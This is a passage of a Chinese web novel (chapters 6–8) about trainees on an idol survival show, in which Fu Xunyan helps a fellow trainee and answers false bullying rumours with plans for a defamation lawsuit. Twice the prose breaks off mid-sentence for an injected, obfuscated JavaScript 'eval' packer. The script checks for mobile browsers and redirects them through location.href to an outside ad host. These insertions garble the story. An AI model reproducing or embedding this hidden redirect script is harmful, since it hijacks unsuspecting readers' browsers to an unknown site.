一个眼含笑意,表情轻佻但不惹人厌,像是猛兽瞄准了他的猎物;另一个眼睫微颤,穿梭在腐朽花丛的蝶朝着光明振翅。 其他人慢慢地虚焦,他们的身影却清晰得叫人落泪。 两人的cp站子迅速建起,名为“燕达闻声”,就和这对cp给人的感觉一样,朦胧虚幻。 傅寻砚的脸确实能打,这辈子毫不遮掩的锐利直接将他的魅力值拉满,肆意危险的气质在公式照里暴露无遗。 尽管很多人说他看起来是个坏男孩,但毋庸置疑这样外露的气质格外吸引人的注目。 于是“《新世纪》傅寻砚玉面渣男”的词条竟在不经意间冲破隔壁买的热搜,登上了热搜第一,而“傅寻砚达裴人群中的一眼”也相伴着占据第二。哪怕只是短短几个小时,也足够让很多先前不认识他的人快速入坑。 《新世纪》导演乐开了花,拍了拍那个捕捉到傅寻砚和达裴对视的镜头的姑娘的肩,夸赞她非常有眼力。 可随之而来的淡淡忧愁蒙上导演的心头——傅寻砚这个注,他该不该下呢? 6. 第六日 导演不敢下注,不仅因为他和宝音私底下谈得不愉快,更大的问题是他知道傅寻砚的那些事情。 宝音内斗很严重,张总那派的人过来让他将傅寻砚和江瀚一剪梅的时候也着重描述了傅寻砚的过去。可导演又不是傻子,自然私底下又试探了一下李鹏程那边。 果不其然,确有其事,但性质完全不同。 咬了咬牙,导演知道自己既是在赌宝音里哪一派能赢,也是在赌傅寻砚能不能持续爆红的态势,成功为他的节目带来利益。 那些事情,到底会成为压垮傅寻砚的稻草,还是成为让他成功登顶的资产? ** 傅寻砚并没有藏手机,所以外界发生的任何事他全然不知晓。 他正在重新找回《万千星辰》的记忆。 记忆里他跳过这支歌百遍,但那之后是数千个日夜的空白。甚至因为江瀚的离世,他一度逼着自己忘记关于这场噩梦的一切。 所以现在重来一遍并不会特别容易——反而因为记忆的熟悉和动作的生疏,还有那点微妙的心理障碍而增加了难度。 脸被贴上了一瓶冰水,傅寻砚侧脸,江瀚嘻嘻哈哈地坐下。 “怎么啦?遇上问题了?” 傅寻砚侧首,江瀚笑得没心没肺,一上午的跟练后额角布满了汗滴,绯红的脸算不上好看,偏偏他又不知道遮掩,顶着没休息够有些肿的脸到处凑。 “嗯。”傅寻砚认下,“动作有些碎。” 江瀚挠了挠头,“有吗?好像是有点。这首歌的编舞好像请了个很厉害的舞室,这家的风格就是这样,虽然动作很碎,但连贯起来确实很好看。” 傅寻砚点头——节目组本就试图以口碑获胜,所以花了大价钱在买歌和编舞上,也难怪乎主题曲MV发布后一水好评。 只是疑似《前进吧》背后的资本下场,买了《新世纪》的热搜,说每个练习生长得都很一般。 作为时隔四年的练习生选拔复出综艺,无数人的眼光聚焦在两档节目上,但不能否认的是,大众天然带着偏见。 ——对韩流的厌恶,因为部分不称职偶像的恨屋及乌,以及对家的有意引导,让路人们根本没有细看一张张脸便做出“是啊太丑”“他们好娘”的评价。 而前辈粉们无意识也带了滤镜,在他们眼里新一代的练习生再怎么样都不可能复刻辉煌,所以最后的印象也成为了“不怎么样嘛”“甚至连***都不如”。 江瀚完全没预料到傅寻砚这突然的动作,青年葱白的指尖捏住了自己的下巴,然后轻轻往旁边一转。江瀚用余光罕见傅寻砚捂住了自己的麦,用很低的气声在耳边轻语。 “先不说动作不动作的,你赶紧去小卖部买杯美式消肿。” “这里不比公司,被镜头录进去放出来你就完蛋了。” 江瀚震惊地抬头看镜子,才终于发现自己的尊颜——同时也注意到一进来傅寻砚就移动身形帮自己挡住了镜头。 “啊啊啊我立刻去!”江瀚撩起衬衫下摆闷着头就跑走了,B班练习室其他人投来好奇的目光。 十分钟后傅寻砚开始后悔自己的提醒——江瀚一走,他的进度似乎更慢了。上午老师教过的那些他自然已经熟练,可糟糕的是后头的以及整体的观赏性。 怎么会这样呢? 高大的青年眉目低敛,镜中的他落寞而沉重,这种沉默太过突兀,很快B班的其他人控制不住自己的目光投向了这个过度帅气的同事。 ……该说不说的,对方连消极颓丧都能消化成一种特别有吸引力的风格。 只是他们没能继续看笑话,这个看似高傲厉害的家伙没多久便迈开腿出了门。 傅寻砚打算去洗手间洗把脸再重拾心情尝试这首“作孽”的歌,但在走廊上却撞见了两个人。 一粉一灰的服装颜色格外引人注意,更别提旁边还有两架摄像机怼的很近。傅寻砚本想立刻离开,他对参与这些剧本并不感兴趣,但其中一人低沉的声音还是让他的脚步停了停。 “这个动作……不对,你抢拍了,还有手心是往内扣的。” “抱……抱歉!我不是故意的……是这样吗?往内?” “……你这不是往内,你……” “这个动作你可能还要回去琢磨一下,我还要……要不……” “是还有哪里做的不好吗?抱歉,能不能……我是f班的,所以回去就没人教我了……抱歉……” 微微侧脸,小阳台上的两张脸进入傅寻砚的视野。率先是旻海,赛前刚从国外专业舞者赛回来的他还保持着夸张的白发,凌乱的刘海盖住额头但刚好保持在眉眼上方。 脸型十分流畅,整个头脸在这届参赛者里都是惊人的小。 他无疑是帅气的,不同于叶莱那样的流行帅气,也不是白闻及的缥缈悠然,更非傅寻砚这类昳丽张扬,而是一种内敛低调。 丹凤眼配合着立体的眉骨,折角明显的眉弓让他透露出清冷英气感,整体线条偏向硬朗。可也许是因为多年流行舞的习惯,他喜欢微微蜷着背,所以看起来格外谦逊。 所以此刻即便他明显失了耐心,那张脸上也没有暴露出任何厌烦,好像只是在苦恼于问题本身——并非是那个引起问题的人。 至于对面的人——傅寻砚早就认出来了,他太过有名。 不止在《新世纪》,赛后这个名叫“周奇”的练习生也持续搅动着一亩三分地的风云。 不能说这个人绝对的坏,但总之是个有野心并且不走“正道”的人。 “旻海?你在这吗?我找你很久了,不是说好要教我的?” 镜头下意识朝声音来处移过去,那张如深刻水墨画的面孔就这样闯入。身着浅蓝色T恤的青年双手插着兜懒懒走来,发现镜头时他似乎局促了一下,脸上有一闪而过的不自在,好像真的像他的鬼话一样是不经意撞见的。 这样的故意调整反而让他有了十足的反差感,让后来看见的观众直呼好萌。 接着那漂亮的青年刻意忽视掉镜头,有些执拗地重新盯回旻海,幽深的瞳孔里旋转着读不懂的漩涡。 “嗯?怎么在阳台上练习,会热的吧。” 旻海面对着这突然出现且一副熟稔语气的陌生练习生默不作声,但他并非脸盲,所以很快就辨别出这个把卷发扎成小揪揪的慵懒男孩,是初舞台时惊艳四座的傅寻砚。 他——在干什么?旻海不明白,可他没有感受到恶意,善良的本性也让他并不愿意在镜头前打傅寻砚的脸。 “嗯,是有点热,你等我很久了吗?我马上过去可以吗?” “现在吧。” 谁知道头上莫名落下一块干燥的带有阳光香气的毛巾,然后是他坚定不容反驳的声音。 “你看你热的脖子后边都是汗了。还有,你不是很怕阳光晒吗?这大阳台上的怎么待?一会儿身上就要起疹子了。” 我怎么不知道我怕太阳?旻海忍不住在内心嘀咕,全然没反应过来自己却真的接下了毛巾开始擦汗。 “那个……”柔软的嗓音在旁边传来,如小动物一般颤颤巍巍,但甫一开口,那个已经在练习生里口口相传的大魔王练习生就轻飘飘看过来,明明没有任何动作,周奇却莫名感受到心惊。 他之前并不怕对方,即便有些与傅寻砚对视过的练习生都说这个人有点邪乎,完全不像同龄人,可周奇一点也不信——傅寻砚也不过就得了个B等级,即便承认他自作曲不错,但整体水平也远远够不上“大魔王”这个称号吧? 傅寻砚故意瞥了一眼他的胸牌,“周同学?原来你在这里啊,我刚刚路过f班好像听见有人找你呢,大家正在商量要不要找个其他练习生帮忙教舞蹈,你不回去看看吗?” 但不等周奇再提到旻海,傅寻砚的手落到脸侧,状似苦恼地轻言:“我在跳舞上也很棘手呢,这不是一早就扒上了旻海吗?对了旻海哥,我可不当着镜头绑架你,你先陪我回B班看看我的水平,愿意的话你就继续教。” 这话说的……周奇难言地僵直了嘴角——这不是在点他在镜头前绑架旻海吗? 直到这时候,旻海终于明白了这位素未谋面的练习生出现在这里到底是为什么,虽然还是不明白他为什么出手帮忙,但旻海百分百愿意抓住这个机会离开这里。 “好啊,那就先让我考核你一下吧。”随即他转头向曲另我微微鞠躬,“抱歉,小傅提前有约过我,所以……” “没事没事,你们先去,本来也是我后到的。”周奇咬着牙把旻海让了出去。 傅寻砚意识到自己大概真的沾染上“圣父病”是在带着旻海去B班的路上。 狐狸一样的短发青年看着炫目的天光,即便脸色有些苍白,可眸中如炬。傅寻砚觉得这个基地有点克他,克到他现在已经几乎压抑不住本性。 所以傅寻砚的本性是什么? 这个问题在别人看来很难回答,但傅寻砚再了解自己不过。 绝对的理性,配合上完全矛盾的绝对理想。 感性和赤忱是天生的,理性却是在那一个惨烈的跃下和错误的七年间被迫形成的。二十岁的傅寻砚有很多考虑,但背景浅薄让他多少有些畏手畏脚,所以就连同公司的练习生也认为他“乖巧”“听话”“无趣”。 可没人知道当时的他心里有多么热烈的一把火。如果没有那把火,他不会断然选择独自一人背负着一百万的违约金出走公司。 见识了那些不公平与黑暗,他不愿让自己在那个环境里窒息。 可跳出了娱乐圈,整个社会依旧不算光明。傅寻砚只能苦中作乐,凭借喘息之机调整着步态,但他也清醒地认识到自己在被同化。 到底是对是错? 没人能解答,正如任何一个人在任何一个年龄都无法想通一样,关于坚持自我与适应社会到底何者正确,从来没有解答。 可现在……现在脱离了正常轨道,他拥有了第二次人生,傅寻砚开始对生命感到淡漠和不在意。这样荒谬的重来一次,让他不自觉感到不真实,于是那些理性的思考似乎正在被抛弃。 那把火在重新燃烧…… “你还真是慷慨啊。” 走到没有镜头的地方,冷不丁旻海便听到了这样一句带着微微讽意的话。 “嗯?什么意思?” 他迷惑地将毛巾摘下搭在肩上,然后才想起来这是傅寻砚的,但此刻它已经湿了一半。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129116|164369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “对不起,这个我洗干净再还你吧。” “没事。”长发青年垂着头,旻海觉得他似乎在刻意躲避视线。 “是白闻及给我的,你解释一下还他就行。” “至于你问什么意思——” 快半步的青年转身,黑漆漆的眸子在长廊里散发着意味不明的光芒,这让自认大了三岁的旻海竟怪异的紧张起来,就像面对领导的训斥、长辈的教导似的。 “如果不愿意教他,为什么不找个借口走?” “我……”旻海刚要否认,可气馁地发现傅寻砚笃定自己的真实想法,只好叹了口气。 “公司说不要在镜头面前和别人起冲突,而且要表现得尽可能友善乐于助人,所以……” “所以不惜顶着大太阳给他上一小时私教课且进度依旧停留在刚开始的几个动作?”傅寻砚忍不住插嘴,“你这纯纯是资源浪费。” 恕他傲慢无礼,无法体会那些天赋薄弱者的“挣扎”,但傅寻砚还是得说,偶像这个行业若真的完全没有天赋还是别进来捞了。 更何况自己废寝忘食那叫励志,拖着别人共沉沦那叫作孽。看似白纸一张但已在职场上浸淫了四五年的傅寻砚如是认为。 即便才过去一个晚上加一个上午,旻海已经将《万千星辰》的舞蹈完完全全扒完了,如果他去教其他人,能帮到至少十个数以上的练习生,加上施助对象的多样性,他的镜头也能多不少。 可是和那个一窍不通的周奇绑在一块,不仅教不会他,而且被绑上这样的cp线,这和被吸血没有任何差别。 旻海沉默了半晌,被毛巾遮住一半的脸露出一丝苦笑,“对不起。” “对不起?你哪里对不起我了?” “嗯……麻烦你把我救出来了。” “……谈不上救,顺手而已。” “那……你不是说要我帮你练舞吗?怎么样?要去吗?” 傅寻砚挑眉。 旻海立刻摆手,“这次不是被迫,是……是我自愿的,算是你帮我的,回报?” “虽然反而有挟恩图报的嫌疑,但……”傅寻砚眯了眯眼睛,“我还真有个关于舞蹈的问题想请教一下,放心,我想我也许不会像那家伙一样让你苦手,你分给我二十分钟就好。” B班里不是没有会跳舞的人,只可惜傅寻砚和他们都不熟,唯一熟悉的江瀚不知道是不是买咖啡把自己栽坑里了,都二十分钟了还不回来。 B班里的练习也如火如荼,当一群浅蓝色里突然混入一个粉色,着实扎眼。 旻海看着好几个与自己一样擅长舞蹈的练习生将目光投到自己这里,瞬间有些紧张。 但傅寻砚姿态过于自然,自然到所有人都误会了两人是什么一见如故的好朋友,既然是好朋友,来教好朋友跳舞似乎不是不能理解,于是很快又将目光移走了。 旻海舒了口气。 “就是这里。” 傅寻砚沉浸于自己的世界,根本不管那些带有探究意味的眼光。 镜子前面的青年长身玉立,手部扬起在胸前转了一圈,腰带动腿极有律动感地完成了一整套动作,很好看。 “咦?”旻海忍不住上手,直接控住了对方的腰,但当热的感受钻透T恤感染到手掌心,旻海触电般撤开。 “抱歉……” “没事,你还挺火眼金睛的。”傅寻砚并不在意这样的肢体接触——他又不是什么敏感动物,“在做这个动作的时候我如果控制着面部表情,腰的位置就会不对。” “为什么?”旻海不理解,可眼前的傅寻砚连续做了好几遍,还真如他所言,写意般流畅的震胸加偏头回身的动作中,他的腰总是僵硬着无法带动上半身。 “我见过顾头不顾手的,没见过表情和腰相互打扰的。” 旻海面露怪异,可触及傅寻砚沉默的眸子,他的唇瓣便止住了开合——对方一脸的心事,看上去背后的原因不简单。 可他和傅寻砚的关系,有好到可以互通有无吗?或者如果这是傅寻砚刻意编的故事线,那么对手戏为什么要找自己来演?只是因为正好路过? 旻海忍不住阴谋论。他和这里绝大多数练习生不同,并非在那个僵硬死板的体系里成长,按照心智成熟的程度而言,他并不落后,他只是不擅长拒绝。 就在旻海忍不住越想越多时,耳边没好气的一声叹息。 “因为担心。” “担心?担心什么?” “你不担心吗?这个动作本身技术难度倒是不大,但后边跟了两秒的停顿,是一个展现‘特色’的好时机。” 旻海皱了眉,“是这样没错,但是……” 可傅寻砚没管他,浅蓝色T恤的青年皱着眉盯着镜子,被汗水打湿的额发贴在眉眼上,配合那执拗的眼神平白多出一股子令人下意识想要逃避的冷淡来。 “所以大家会在这里各显神通。而当所有人都那样做时,你回避不对,因为那会被指责为木讷。跟着做也不对,因为那会被归于油腻。” 傅寻砚说着话,语速不受控制地加快,声音却越来越低沉,这让他听起来带了些怒意和微不可查的委屈。 委屈啊,怎么会不委屈呢? 7. 第七日 “你们练得怎么样了?” 欧若推开门,他穿着休闲西装,手里拿着节目组递给的歌词本。 作为大前辈,欧若出名却不算早,也是在歌坛苦苦熬了十多年才在近年靠几首歌爆火。他的身上没有什么明星架子,相反可以说十分亲切。 欧若巡视一圈,这些挤挤攘攘了一整个屋子的练习生大多神情怯怯,在欧若看来就是没有星味。事实也确实如此,明明之前看了所有人的表演,但欧若发现自己并未记住几个B班的孩子,倒是那个傅寻砚他印象深刻。 因为他的自作曲,也因为他条件很不错的嗓音以及生疏到怪异的唱歌技巧。 他坐下,“中间隔了一天,你们应该都把歌词背了吧?导演组请的老师应该也教你们唱了,那我们加快效率,你们一个个唱一遍,然后我看看还有什么完善的地方。” 哪知他这边话出口,却看见好几个心虚地低头。 “嗯?你们还不会唱?” 一个名叫张池的人举了手:“老师,我们昨天主要都在练习舞蹈了,所以……” 欧若蹙眉,“什么叫主要练习舞蹈,你们跳的时候嘴巴不动吗?就算嘴巴不动,不听音乐吗?心里不跟唱吗?这样还是完全不会?” “这根本就是两码事嘛。” 或许是欧若太过平和,这个张池还能小声嘀咕反驳,叫欧若心里的气蹭就上来了。 明知道时间紧,就该自己合理分配练习。 “以为我不知道是借口吗?你们不过是觉得拍MV的时候不需要出声,唱的差点也没什么,只要舞蹈到位了就可以是吧?” 张池被说中,臊得低着头不敢再说话。 欧若不想浪费时间,只是冷冷提醒,“你们别忘了,再登上舞台前还有再评级,像你……你们这样的态度,我绝对在声乐上打F,而如果最后综测是F,呵,也确实不用好好练唱歌,因为根本上不了舞台。” 堪称威胁的话语惊掉一众练习生的下巴。 “傅寻砚是吧?你先来。” 在这个节点被点到,众人饱含怜悯地看向傅寻砚,却发现他似乎并未像他们以为的一样紧张和害怕。 拿着手中薄薄一页纸,傅寻砚的眸光在字里行间穿梭。那些字模糊成一个个黑色,但记忆像是灯塔指引着他的嗓子。 “为了得到温暖,我们向着太阳奔跑 泥泞和山丘,顶着风暴 我们要如流星一样璀璨 在地球人们的眼眸中消失,向另一片星际出逃 Run away,fight again 冲破宇宙黑暗,击碎亘古长夜 重新回到,回到新世纪城堡” 只是一小个唱段,但稳定、好听。傅寻砚的嗓音可高可低,日常说话时清亮通透,故意低下来时在粗粝的哑中保留着干净。 哪怕在场的部分练习生专业知识不足,也至少知道,是好听的,而且是非常好听的,情感充沛的。 欧若倒是没想到傅寻砚上来就给了他这样的惊喜,忍不住鼓掌。 “嘶,怎么才两天而已,你进步这么多?我本来还以为你初舞台是技巧不足,现在看来,当时发挥得也太差了——不是骂你,是说比起你现在。” “或许?”傅寻砚也不知道该怎么解释那天的状况,“感谢这两天节目老师的帮忙,给我纠正了很多用嗓错误。” 欧若这才想起来,也是,虽然名义上他们是导师,但毕竟不可能真的一直待在基地教授课程,平时都是节目组另请的素人老师在教学。 摄像老师的镜头锁着傅寻砚的脸,那认真的架势摆明了导演在背后操控着要保留这段。 傅寻砚没有不自在,但同一个教室的其他练习生现在一脸灰败。 “啊啊啊我跟这些学霸不共戴天。”张池抓挠着头发,盯着歌词,眉头能夹死苍蝇。 “哥!哥!别那么说话,你要是完了,我更得完了。”他身边的脏辫男孩苦哈哈地捂住了脸。张池和这名叫R.TAI的男孩都是嘻哈圈混过来的。不同于达裴,这两人靠着国内的嘻哈节目小火了一把。 估计公司想趁着选秀复兴的名头再推他们一次,所以打包送来了《新世纪》。 两人初舞台表演的还不错,但那全亏得同公司的人带飞,一起练习了一个月的舞台怎么也至少动作标准了,加上rap能力确实强,得到了B评级。 可到开始真正的魔鬼练习,两人才发现完蛋了。一来他们外表不好惹,所以不好交朋友,性格又有点i,所以更找不到人辅导,以至于两天了几乎还在原点打转,从焦头烂额到躺平摆烂,他们只用了一个上午。 傅寻砚注意到这两道灼热的视线,不由得偏了偏头疑惑地看过去。 “嘶他看我了,避开避开!”R.TAI颇有喜剧人的天赋,前期人设也很不错,想必节目播出后人气不会差。 傅寻砚没听见他具体说了什么,很快又转回头听着欧若给他纠正问题。偌大的教室里,循循善诱的老师和神情认真的学生,看起来确实静谧美好。 只是这种美好从傅寻砚归队后结束了,此后B班练习生一个比一个被骂的惨,江瀚也没例外,他打小学习舞蹈,唱歌却只是KTV水准。 等欧若离开,所有人一脸死灰。 初舞台时曾试图与傅寻砚搭话的陈宇杰也在其中,倒不是他想可以关注他,而是昨晚经纪人的安排——他当然藏了手机,时刻保持着与公司的联系。 陈宇杰所在的公司Pennyline是一家海外公司,严格来说陈宇杰其实也算回锅肉,他们原先的组合在海外徘徊十二线,但组合内有一个人特别出圈。 那人叫Kenny,H裔,属于非常正统的偶像,在陈宇杰那个组合是颜值担,长得十分漂亮精致。 实际上,陈宇杰认为他和傅寻砚的定位并不冲突,因为Kenny属于那种女性化的漂亮,而傅寻砚则更加具有攻击性,配合舞台很是霸气。 换言之,一个是小花仙,一个是赛尔号,装扮系和战斗系的画风格格不入。 但经纪人不这么认为,一档节目里虽然漂亮的个顶个,但只有公认的最好看的那个才能掌握出圈的机会,如果傅寻砚在这,毫无疑问会分走Kenny的关注。 这段时间傅寻砚的小爆已经证明了这一点,再继续下去,Kenny就会沦为陪衬。 而更加恰好的是,Pennyline也送了练习生去《前进吧》,恰好那几个人就和傅寻砚公司的人认识了,恰好傅寻砚的同事似乎没什么心眼,恰好他们又将傅寻砚的一些事情告诉了经纪人。 好家伙,得来全不费工夫,经纪人开心得嘴都咧了,当即上报给公司,开始了他们的操作。 《新世纪》不同于《前进吧》,非常冒险地采用了半直播方式,也即在一些重要节点,节目会直接开启直播(非24小时直播),后期再剪辑供给无法看直播的观众看成品。 也正是因为如此,《新世纪》的前期宣发来不及,中期又跟不上。但这给了各家公司很好的操作空间。眼下节目只放了公式照,开启了赛前打投通道。 由于节目“回锅肉”特别多,因此傅寻砚这时候的排名并不好看,哪怕那张脸帅的人神共愤,在清楚地挖掘动态魅力前,粉丝并不会轻易爬墙。 而自来粉……节目名气太小,不多。 总而言之,目前傅寻砚在大约40位,江瀚在53位,而Kenny则在第9名,Pennyline掌握了傅寻砚的两条讯息,认为这时候正好投下第一条。 如果这能有效果让他直接翻不了身,那么第二条的成本就可以被节省。 在这种事情上,Pennyline早就是惯犯了,仗着公司在国外难以被抓到把柄,他们行事十分肆意。 傅寻砚浑然不知背后的危机。 虽然他了解这时候各家公司都该有动作了,但他并不觉得他的经历是一种应该被批判的事情。 以至于再评级那天上午最后的练习时刻,当练习生对着他窃窃私语而沈迟一把将他拽出练习室时,他懵到不行。 “哥,你还好吧?”沈迟的关心没有作伪,他穿着D班的练习服就赶来了,混在一群蓝色里十分显眼。 “我?”傅寻砚望了望天,“我应该挺好的,但我猜到外边是不是发生什么事和我有关?” 一听傅寻砚根本不清楚背后的事情,沈迟脑袋像是被重击一下,恍恍惚惚,他觉得自己还是不够稳重。 不应该贸然来找傅寻砚的。 清晰地感知到面前小孩的抱歉,傅寻砚有些好笑,一把摸了摸他毛茸茸的脑袋:“行了,没事,告诉我好了,练习室气氛都那样了,就算你不说,我过一会儿也该知道的。” “你看,现在告诉我的话,你还能起到安慰作用呢。” 傅寻砚并未避开镜头,或者说,每个练习生每个明星,在长久被镜头环绕的情况下,偶尔总是会忘记自己的一举一动正在被记录。 傅寻砚也忘了,因为面前沈迟的表情太过难看。 是那种可怜巴巴,生怕他怪罪,又非常抱歉于自己做了老大坏事的难过。 “他们、网上说你是小混混,高中霸凌同学才被退学的,连高中文凭都没有……”越说越小声,沈迟感觉自己就像溺水的鱼,逐渐连嘴巴都张不开了,也不敢去看傅寻砚的眼睛。 空气里塞满了沉默,很久之后才听得青年一声荒谬的闷笑。 沈迟感觉傅寻砚没意识到问题的严重性,急忙抓住他的手臂,捂住麦克风:“哥你别笑了,他们还找到了你的同学,就是那些同学指认的,我相信那肯定是剧本,但是……” 傅寻砚并不是低估事情严重性,而是可笑于,原来那些本性就坏的人,不管在哪个节点受到诱惑,也一样会为了一己私欲干坏事。 上辈子,这件事就是他赛后被雪藏的导火索。公司甚至没有和傅寻砚核实真实性,在那头花了二十多万为他压住,却又转头来找傅寻砚索要,以“看我们为你付出了多少”的说法进行PUA。 可这辈子不一样。 因为傅寻砚很清楚,受隔壁H国和R国一些事件的爆发,“霸凌”这个话题正高悬当空,每一个被牵扯进风暴的偶像可谓“非死即伤”。 国内其实暂时没有影响,但——现在傅寻砚成了第一个,可见网上如今他的风评会是怎样的状态。 事实也正如傅寻砚所预料。 “姐!!这咋办啊?”柳雨急得要死,她脱离饭圈好几年,刚把傅寻砚的站子建起来,粉丝才破百,居然被屠了广场。 关键是,这不是偶像间的扯头花矛盾,而是社会新闻。 柳雨下班后做菜心不在焉还烫了自己。她真的很害怕,很害怕自己刚刚喜欢上的练习生,真的是那样一个不堪的人。 所以她给“爱吃偶的莲蓬”打了电话,想从对方那里收到安慰。 “爱吃偶的莲蓬”听起来年纪不大,但情绪非常稳定。 “柳雨,你得冷静下来。首先我得表明我的立场,在证据出来前,我是不相信这个报道的真实性的,其次,为了确认到底是不是真的,我马上就宝音娱乐向他的经纪人核实,如果你愿意,你也可以来。” “如果他真的是那样的人,我会立刻关站离开。”在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129117|164369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柳雨听来,“爱吃偶的莲蓬”掷地有声,平复了她的情绪。 可事实上,那个独自躺在出租屋中的女孩一手翻着相机,一手无意识刷着傅寻砚之前的wb。 “爱吃偶的莲蓬”或者说陈清敛对傅寻砚的品行并没有把握,她只是因为傅寻砚的脸喜欢他,根本还不了解他。 可看着青年那略显潦草粗犷的微博画风,陈清敛却又觉得,他不会是那样的。 ** 按理来说,练习生哪怕在录制过程中塌方,节目组为了保持热度也不会帮助练习生澄清。可是傅寻砚的事情太过特殊了,搞不好会拖累整个节目。 所以自打昨晚事情发酵后,节目组一直在商讨对策,于是终于在十一点把傅寻砚叫来会议室询问。 看着面前一溜领导,傅寻砚甚至有点好笑,因着这份好笑,他竟然格外从容,从容到让领导觉得他根本不重视这个事情。 “你到底怎么回事?如果这件事是真的,那么不好意思傅寻砚练习生,我们只能将你退赛处理。” 还未开口先受到质问的青年平静地直视前方,他沉默了一会儿,良久缓缓开口。 “我有一个让大家都能得益的办法。” “我要起诉。” 哈?节目组的都被震住了,更震惊的还是下一句。 “不是什么名誉权,我希望直接提起刑事诉讼,以‘诽谤罪’的名义起诉那个出镜的同学,顺便,如果能查的出是哪家公司推波助澜,一并诉了也未尝不可。” 节目组的坐不住了,那两男一女三个领导脸上的神情可以立马借去拍惊悚剧。当然,临时被叫来的李鹏程也吃惊不小。 他倒是大致清楚傅寻砚的过去,但没想到他会在这时候表现得如此强硬。 一直以来,他印象中的傅寻砚虽然有些棱角,但大体上听话懂事,做事比较沉稳,不会这么冒进。 但青年还未止住话头,他脸上的表情是如此平静,但人们还是能无比清楚地从他跃动的眸光中读出某种失望、愤怒和难过,像是被灯光刺痛了眼睛,湿润慢慢爬上眼球。 但也仅限于湿润,风光霁月的青年绝不会为那些人掉一滴眼泪,他要做的是抗争,是反击,是惩治那些污言秽语和不分青红皂白的污蔑。 明明他知道,表现得像弱者能更引起人们的心疼,可是他不。 他生来骨头便是硬的,21岁的傅寻砚能承担起百万违约金,那么如今20岁的傅寻砚,也依旧能够顶得住泼天谩骂还自己一个清白。 节目组安静了五分钟,只有摄像机在孜孜不倦地工作。它本来是节目组为了防备傅寻砚发疯,所以有备无患,却没想到如今记录下这样的反转。 有话语权的女领导激动地站起身,她克制住战栗俯身看着傅寻砚:“你能保证你绝对没有做那些事,这些全是污蔑吗?” 傅寻砚没有犹豫:“能。” “我能。”紧接着傅寻砚便大致讲述了,从他的视角来看,所谓的事实究竟是什么。 “好。”女领导拍板,不顾旁边两位男性的犹豫,当即做出了安排。 “我认为这对我们节目来说是一个很好的机会,一个大翻身仗的机会。《前进吧》不是一直在买我们的黑通告吗?借着小傅的事情,我们得打赢这仗。” 散会后,李鹏程没有离开,虽说节目组大概站在了傅寻砚这边,但并未提供实质帮助。 “你说要起诉,这是真的吗?”李鹏程还是确认了一遍。 “嗯。”傅寻砚冷静着将视线转移到李鹏程身上,“出来指认我的,是那起事件的参与者,他以为年少犯事没有记录,但还是有的,张警官给了我一个备份。这可以用来证明他们的人品绝对不值得信任。” “至于所谓的霸凌,当年的老师我依旧有联系,他们口中被霸凌的同学应该还能在镇上找到。而与他们所说的话相反的是,他们霸凌我的证据,我都已经准备好了,就在公司宿舍里,李哥不嫌麻烦的话,可以去拿一趟。” “你……”李鹏程听着傅寻砚井井有条的安排开始觉得不对劲了,这怎么好像早有预备似的? “不必怀疑我,李哥。如果这次不是他们招惹在先,我并不想把过去翻出来。那些事对我而言,永远不应该是造势的借口。” 李鹏程看着傅寻砚明明克制得保持着平静,却在暗地燃烧烈火的眼眸,深深吸了口气。 “行,这件事我来帮你办。” 李哥也走了,只有傅寻砚一个人留在会议室,所有人大概都默契地给他提供了一个环境发泄。但傅寻砚不会在这里,因为摄像机还在运行。 他强撑着恶心走出门,本想去到卫生间,但中途还是没能忍住,只好转头进了一间空教室。门阖上的瞬间,傅寻砚的拳头狠狠就要捶到墙上,但就在最后那一秒,他收住了。 这是手,裸露在外的地方,一旦受伤就又会暴露在观众眼中。 可他真的好恨啊…… 瘫软在墙根,他只能使劲掐着被衣服盖住的大腿。掐麻了,就换到手臂,直到内心某一刻,强烈的情绪忽然被抽离,抽离得让傅寻砚整个人都空洞了。 事实上他曾无数次想,为什么要让他回到二十岁来救江瀚,为什么不能让他回到十七岁,救下收养他的爷爷。 情绪顺着脑袋灌入咽喉,又从咽喉流淌到胃里,引发一阵灼烧。 恶人有恶报,可那些报应来的都太晚,而他傅寻砚,一个太过失败的家伙,也无法如小说中一样呼风唤雨,除恶务尽。 这一次,是他们主动跳上来的,法律制裁不了,那么便让社会来,让人民来,让所有看着这天下的眼睛来! 8. 第八日 傅寻砚一直没有出现在众人眼前,江瀚又联系不到他,不免为他紧张。 有几个练习生风言风语,认为他看错了人,不该和傅寻砚这样的坏家伙交朋友。 可江瀚相信自己,相信他们这半年的点点滴滴,傅寻砚不是这样的人,绝对不会是。 直到再评级录制开始,傅寻砚回来了。 众人不由得偷偷打量,可他实在太过镇定,镇定到让人害怕,犹如一滩死水,吞噬着他们的情绪,反映着他们可笑的吃瓜表情。 于是这些人在某种心虚的促使下纷纷收回目光。 “他居然没哭诶,那是不是说明节目组还是保了他?”张池在偷偷嘀咕。 “有没有可能,人家心冷如铁,哭不了呢?”R.TAI不再如当时课堂上好说话,对傅寻砚的敬佩变成了鄙夷。 张池点点头,补了一句,“别的不说,这个心态我真的respect” B组和傅寻砚熟悉的人不多,所以观望的成了大多数,可A组不一样,今早事情一爆发,达裴、尹星蘅和旻海都急死了,可惜到处找不到傅寻砚,听说被节目组叫去了。 就连叶莱也有点心不在焉。 “早知道会发生这样的事……”达裴说到一半便停住了。早知道会发生这样的事情,他会做什么呢? 